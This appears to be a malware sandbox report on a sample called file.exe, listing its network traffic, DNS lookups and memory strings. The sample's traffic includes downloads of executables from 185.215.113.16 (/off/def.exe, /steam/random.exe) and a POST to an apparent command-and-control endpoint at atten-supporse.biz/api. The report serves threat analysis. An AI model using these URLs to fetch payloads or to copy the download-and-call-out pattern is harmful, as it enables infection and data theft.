Source: global traffic	HTTP traffic detected: GET /rules/rule702901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703600v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703601v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703851v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703850v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703801v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703800v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703701v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703700v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703751v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703750v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704051v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704050v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16

Source: chromecache_93.7.dr, chromecache_105.7.dr	String found in binary or memory: href="https://www.facebook.com/sharer/sharer.php?u=${s}" equals www.facebook.com (Facebook)
Source: chromecache_93.7.dr, chromecache_105.7.dr	String found in binary or memory: href="https://www.linkedin.com/cws/share?url=${s}" equals www.linkedin.com (Linkedin)
Source: chromecache_93.7.dr, chromecache_105.7.dr	String found in binary or memory: </section>`}function Dce(e=tw,t=gp){return sl(M4,e,t)}function $ce(e=aw,t=sw){return sl(t4,e,t)}var vI=(s=>(s.facebook="facebook",s.twitter="twitter",s.linkedin="linkedin",s.email="email",s.weibo="weibo",s))(vI\|\|{}),LRe={facebook:"https://www.facebook.com/sharer/sharer.php?u={url}",twitter:"https://twitter.com/intent/tweet?original_referer={url}&text={achievementCopy}&tw_p=tweetbutton&url={url}",linkedin:"https://www.linkedin.com/feed/?shareActive=true&text={body}",email:"mailto:?subject={subject}&body={body}",weibo:"http://service.weibo.com/share/share.php?title={title}&url={url}"};function $x(e,t,o){let n=encodeURIComponent(t),r=new URL(e);r.hostname="learn.microsoft.com";let s=r.href+=(e.indexOf("?")!==-1?"&":"?")+"WT.mc_id=",i=L.sharingId?`&sharingId=${L.sharingId}`:"";return Object.values(vI).reduce((l,c)=>{if(_.data.isPermissioned)return l[c]="#",l;let d=encodeURIComponent(s+c+i),u=o?.achievementCopyTitle?.overrideTitle??t,p=encodeURIComponent(rQ.replace("{achievementTitle}",o?.achievementCopyTitle?.isUnquoted?`${u}`:`"${u}"`)),g={achievementCopy:p,url:d,title:n,body:`${p}${encodeURIComponent(` equals www.facebook.com (Facebook)
Source: chromecache_93.7.dr, chromecache_105.7.dr	String found in binary or memory: </section>`}function Dce(e=tw,t=gp){return sl(M4,e,t)}function $ce(e=aw,t=sw){return sl(t4,e,t)}var vI=(s=>(s.facebook="facebook",s.twitter="twitter",s.linkedin="linkedin",s.email="email",s.weibo="weibo",s))(vI\|\|{}),LRe={facebook:"https://www.facebook.com/sharer/sharer.php?u={url}",twitter:"https://twitter.com/intent/tweet?original_referer={url}&text={achievementCopy}&tw_p=tweetbutton&url={url}",linkedin:"https://www.linkedin.com/feed/?shareActive=true&text={body}",email:"mailto:?subject={subject}&body={body}",weibo:"http://service.weibo.com/share/share.php?title={title}&url={url}"};function $x(e,t,o){let n=encodeURIComponent(t),r=new URL(e);r.hostname="learn.microsoft.com";let s=r.href+=(e.indexOf("?")!==-1?"&":"?")+"WT.mc_id=",i=L.sharingId?`&sharingId=${L.sharingId}`:"";return Object.values(vI).reduce((l,c)=>{if(_.data.isPermissioned)return l[c]="#",l;let d=encodeURIComponent(s+c+i),u=o?.achievementCopyTitle?.overrideTitle??t,p=encodeURIComponent(rQ.replace("{achievementTitle}",o?.achievementCopyTitle?.isUnquoted?`${u}`:`"${u}"`)),g={achievementCopy:p,url:d,title:n,body:`${p}${encodeURIComponent(` equals www.linkedin.com (Linkedin)
Source: chromecache_93.7.dr, chromecache_105.7.dr	String found in binary or memory: </section>`}function Dce(e=tw,t=gp){return sl(M4,e,t)}function $ce(e=aw,t=sw){return sl(t4,e,t)}var vI=(s=>(s.facebook="facebook",s.twitter="twitter",s.linkedin="linkedin",s.email="email",s.weibo="weibo",s))(vI\|\|{}),LRe={facebook:"https://www.facebook.com/sharer/sharer.php?u={url}",twitter:"https://twitter.com/intent/tweet?original_referer={url}&text={achievementCopy}&tw_p=tweetbutton&url={url}",linkedin:"https://www.linkedin.com/feed/?shareActive=true&text={body}",email:"mailto:?subject={subject}&body={body}",weibo:"http://service.weibo.com/share/share.php?title={title}&url={url}"};function $x(e,t,o){let n=encodeURIComponent(t),r=new URL(e);r.hostname="learn.microsoft.com";let s=r.href+=(e.indexOf("?")!==-1?"&":"?")+"WT.mc_id=",i=L.sharingId?`&sharingId=${L.sharingId}`:"";return Object.values(vI).reduce((l,c)=>{if(_.data.isPermissioned)return l[c]="#",l;let d=encodeURIComponent(s+c+i),u=o?.achievementCopyTitle?.overrideTitle??t,p=encodeURIComponent(rQ.replace("{achievementTitle}",o?.achievementCopyTitle?.isUnquoted?`${u}`:`"${u}"`)),g={achievementCopy:p,url:d,title:n,body:`${p}${encodeURIComponent(` equals www.twitter.com (Twitter)

Source: global traffic	DNS traffic detected: DNS query: atten-supporse.biz
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: js.monitor.azure.com
Source: global traffic	DNS traffic detected: DNS query: mdec.nelreports.net

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: atten-supporse.biz

Source: file.exe, 00000000.00000003.1722956807.00000000013F0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/
Source: file.exe, 00000000.00000003.1780084081.0000000001408000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1781839404.0000000001409000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1781839404.0000000001426000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1780084081.0000000001426000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1722956807.0000000001403000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1722872707.0000000001428000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exe
Source: file.exe, 00000000.00000002.1781839404.0000000001426000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1780084081.0000000001426000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1722872707.0000000001428000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exe=
Source: file.exe, 00000000.00000002.1781491177.00000000012FB000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exepleWebKit/537.36
Source: file.exe, 00000000.00000002.1781839404.0000000001426000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1780084081.0000000001426000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1722872707.0000000001428000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exe
Source: file.exe, 00000000.00000002.1781839404.0000000001426000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1780084081.0000000001426000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1722872707.0000000001428000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exev
Source: file.exe, 00000000.00000003.1722956807.0000000001391000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16:80/off/def.exePackages
Source: file.exe, 00000000.00000003.1447562153.0000000005D7D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: file.exe, 00000000.00000003.1447562153.0000000005D7D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: file.exe, 00000000.00000003.1447562153.0000000005D7D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: file.exe, 00000000.00000003.1447562153.0000000005D7D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: file.exe, 00000000.00000003.1447562153.0000000005D7D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: file.exe, 00000000.00000003.1447562153.0000000005D7D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: file.exe, 00000000.00000003.1447562153.0000000005D7D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: file.exe, 00000000.00000003.1447562153.0000000005D7D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: file.exe, 00000000.00000003.1447562153.0000000005D7D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: chromecache_93.7.dr, chromecache_105.7.dr	String found in binary or memory: http://polymer.github.io/AUTHORS.txt
Source: chromecache_93.7.dr, chromecache_105.7.dr	String found in binary or memory: http://polymer.github.io/CONTRIBUTORS.txt
Source: chromecache_93.7.dr, chromecache_105.7.dr	String found in binary or memory: http://polymer.github.io/LICENSE.txt
Source: chromecache_93.7.dr, chromecache_105.7.dr	String found in binary or memory: http://polymer.github.io/PATENTS.txt
Source: chromecache_114.7.dr	String found in binary or memory: http://schema.org/Organization
Source: file.exe, 00000000.00000003.1447562153.0000000005D7D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: file.exe, 00000000.00000003.1447562153.0000000005D7D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: file.exe, 00000000.00000003.1365379056.0000000005D8B000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1365306341.0000000005D8D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: chromecache_93.7.dr, chromecache_105.7.dr	String found in binary or memory: https://aka.ms/MSIgniteChallenge/Tier1Banner?wt.mc_id=ignite24_learnbanner_tier1_cnl
Source: chromecache_93.7.dr, chromecache_105.7.dr	String found in binary or memory: https://aka.ms/certhelp
Source: chromecache_114.7.dr, chromecache_78.7.dr	String found in binary or memory: https://aka.ms/feedback/report?space=61
Source: chromecache_93.7.dr, chromecache_105.7.dr	String found in binary or memory: https://aka.ms/msignite_docs_banner
Source: chromecache_93.7.dr, chromecache_105.7.dr	String found in binary or memory: https://aka.ms/pshelpmechoose
Source: chromecache_114.7.dr	String found in binary or memory: https://aka.ms/yourcaliforniaprivacychoices
Source: file.exe, 00000000.00000003.1722956807.00000000013F0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://atten-supporse.biz/
Source: file.exe, 00000000.00000003.1619408240.000000000140A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://atten-supporse.biz/-G
Source: file.exe, 00000000.00000003.1722956807.0000000001403000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://atten-supporse.biz/EA
Source: file.exe, 00000000.00000002.1781545106.00000000013F0000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1619473736.00000000013F0000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1722956807.00000000013F0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://atten-supporse.biz/F
Source: file.exe, 00000000.00000003.1619473736.00000000013F0000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1722956807.00000000013F0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://atten-supporse.biz/V
Source: file.exe, 00000000.00000003.1722956807.0000000001403000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1619408240.000000000140A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://atten-supporse.biz/api
Source: file.exe, 00000000.00000003.1619585653.0000000001413000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1619408240.000000000140A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://atten-supporse.biz/api5
Source: file.exe, 00000000.00000003.1722956807.0000000001403000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1619408240.000000000140A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://atten-supporse.biz/apitEO
Source: file.exe, 00000000.00000002.1781545106.00000000013F0000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1619473736.00000000013F0000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1722956807.00000000013F0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://atten-supporse.biz/f
Source: file.exe, 00000000.00000002.1781545106.00000000013F0000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1619473736.00000000013F0000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1722956807.00000000013F0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://atten-supporse.biz/n
Source: file.exe, 00000000.00000003.1722956807.0000000001391000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://atten-supporse.biz:443/api
Source: file.exe, 00000000.00000003.1619473736.0000000001391000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1722956807.0000000001391000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://atten-supporse.biz:443/apiK
Source: file.exe, 00000000.00000003.1619473736.0000000001391000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1722956807.0000000001391000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://atten-supporse.biz:443/apil
Source: chromecache_114.7.dr	String found in binary or memory: https://authoring-docs-microsoft.poolparty.biz/devrel/69c76c32-967e-4c65-b89a-74cc527db725
Source: chromecache_114.7.dr	String found in binary or memory: https://authoring-docs-microsoft.poolparty.biz/devrel/7696cda6-0510-47f6-8302-71bb5d2e28cf
Source: chromecache_93.7.dr, chromecache_105.7.dr	String found in binary or memory: https://aznb-ame-prod.azureedge.net/component/$
Source: file.exe, 00000000.00000003.1448973205.0000000005D55000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696490019400400000.2&ci=1696490019252.
Source: file.exe, 00000000.00000003.1448973205.0000000005D55000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696490019400400000.1&ci=1696490019252.12791&cta
Source: file.exe, 00000000.00000003.1365379056.0000000005D8B000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1365306341.0000000005D8D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: file.exe, 00000000.00000003.1365379056.0000000005D8B000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1365306341.0000000005D8D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: file.exe, 00000000.00000003.1365379056.0000000005D8B000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1365306341.0000000005D8D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: chromecache_93.7.dr, chromecache_105.7.dr	String found in binary or memory: https://channel9.msdn.com/
Source: chromecache_93.7.dr, chromecache_105.7.dr	String found in binary or memory: https://client-api.arkoselabs.com/v2/api.js
Source: file.exe, 00000000.00000003.1448973205.0000000005D55000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/CuERQnIs4CzqjKBh9os6_h9d4CUDCHO3oiqmAQO6VLM.25122.jpg
Source: file.exe, 00000000.00000003.1448973205.0000000005D55000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: file.exe, 00000000.00000003.1365379056.0000000005D8B000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1365306341.0000000005D8D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: file.exe, 00000000.00000003.1365379056.0000000005D8B000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1365306341.0000000005D8D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: file.exe, 00000000.00000003.1365379056.0000000005D8B000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1365306341.0000000005D8D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: chromecache_114.7.dr	String found in binary or memory: https://github.com/Thraka
Source: chromecache_114.7.dr	String found in binary or memory: https://github.com/Youssef1313
Source: chromecache_114.7.dr	String found in binary or memory: https://github.com/adegeo
Source: chromecache_114.7.dr	String found in binary or memory: https://github.com/dotnet/docs/blob/17c4acca45e573a92878a44a2cce57d699fe9c7c/docs/framework/install/
Source: chromecache_114.7.dr	String found in binary or memory: https://github.com/dotnet/docs/blob/live/docs/framework/install/application-not-started.md
Source: chromecache_114.7.dr	String found in binary or memory: https://github.com/dotnet/docs/blob/main/docs/framework/install/application-not-started.md
Source: chromecache_114.7.dr	String found in binary or memory: https://github.com/dotnet/docs/issues/new?template=z-customer-feedback.yml
Source: chromecache_93.7.dr, chromecache_105.7.dr	String found in binary or memory: https://github.com/dotnet/try
Source: chromecache_114.7.dr	String found in binary or memory: https://github.com/gewarren
Source: chromecache_93.7.dr, chromecache_105.7.dr	String found in binary or memory: https://github.com/jonschlinkert/is-plain-object
Source: chromecache_93.7.dr, chromecache_105.7.dr	String found in binary or memory: https://github.com/js-cookie/js-cookie
Source: chromecache_114.7.dr	String found in binary or memory: https://github.com/mairaw
Source: chromecache_114.7.dr	String found in binary or memory: https://github.com/nschonni
Source: file.exe, 00000000.00000003.1448973205.0000000005D55000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pqWfpl%2B4pbW4pbWfpbW7ReNxR3UIG8zInwYIFIVs9e
Source: chromecache_114.7.dr	String found in binary or memory: https://js.monitor.azure.com/scripts/c/ms.jsll-4.min.js
Source: chromecache_93.7.dr, chromecache_105.7.dr	String found in binary or memory: https://learn-video.azurefd.net/vod/player
Source: chromecache_93.7.dr, chromecache_105.7.dr	String found in binary or memory: https://management.azure.com/providers/Microsoft.Portal/consoles/default?api-version=2017-12-01-prev
Source: chromecache_93.7.dr, chromecache_105.7.dr	String found in binary or memory: https://management.azure.com/providers/Microsoft.Portal/userSettings/cloudconsole?api-version=2023-0
Source: chromecache_93.7.dr, chromecache_105.7.dr	String found in binary or memory: https://management.azure.com/subscriptions?api-version=2016-06-01
Source: chromecache_93.7.dr, chromecache_105.7.dr	String found in binary or memory: https://octokit.github.io/rest.js/#throttling
Source: chromecache_105.7.dr	String found in binary or memory: https://schema.org
Source: file.exe, 00000000.00000003.1448673793.0000000005E6B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: file.exe, 00000000.00000003.1448673793.0000000005E6B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: chromecache_93.7.dr, chromecache_105.7.dr	String found in binary or memory: https://twitter.com/intent/tweet?original_referer=$
Source: chromecache_93.7.dr, chromecache_105.7.dr	String found in binary or memory: https://videoencodingpublic-hgeaeyeba8gycee3.b01.azurefd.net/public-09ce73a6-05a5-4e4d-b3d7-bd5a8c05
Source: chromecache_105.7.dr	String found in binary or memory: https://videoencodingpublic-hgeaeyeba8gycee3.b01.azurefd.net/public-b4da8140-92cf-421c-8b7b-e471d5b9
Source: file.exe, 00000000.00000003.1448973205.0000000005D55000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_ef0fa27a12d43fbd45649e195429e8a63ddcad7cf7e128c0
Source: file.exe, 00000000.00000003.1365379056.0000000005D8B000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1365306341.0000000005D8D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: file.exe, 00000000.00000003.1365379056.0000000005D8B000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1365306341.0000000005D8D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: file.exe, 00000000.00000003.1448973205.0000000005D55000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.invisalign.com/?utm_source=admarketplace&utm_medium=paidsearch&utm_campaign=Invisalign&u
Source: chromecache_93.7.dr, chromecache_105.7.dr	String found in binary or memory: https://www.linkedin.com/cws/share?url=$
Source: file.exe, 00000000.00000003.1448673793.0000000005E6B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.jXqaKJMO4ZEP
Source: file.exe, 00000000.00000003.1448673793.0000000005E6B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.NYz0wxyUaYSW
Source: file.exe, 00000000.00000003.1448673793.0000000005E6B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/gro.allizom.www.d
Source: file.exe, 00000000.00000003.1448673793.0000000005E6B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: file.exe, 00000000.00000003.1448673793.0000000005E6B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49986
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49864
